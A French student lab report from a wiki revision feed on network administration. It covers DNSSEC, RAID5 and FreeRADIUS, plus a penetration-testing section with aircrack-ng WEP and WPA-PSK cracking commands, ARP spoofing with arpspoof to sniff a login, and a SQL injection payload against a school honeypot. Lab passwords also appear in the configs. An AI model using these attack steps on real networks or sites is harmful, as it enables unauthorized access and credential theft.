Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte. &lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54703</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54703"/>
				<updated>2020-12-15T14:16:22Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Cassage de mot de passe WPA-PSK par force brute */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
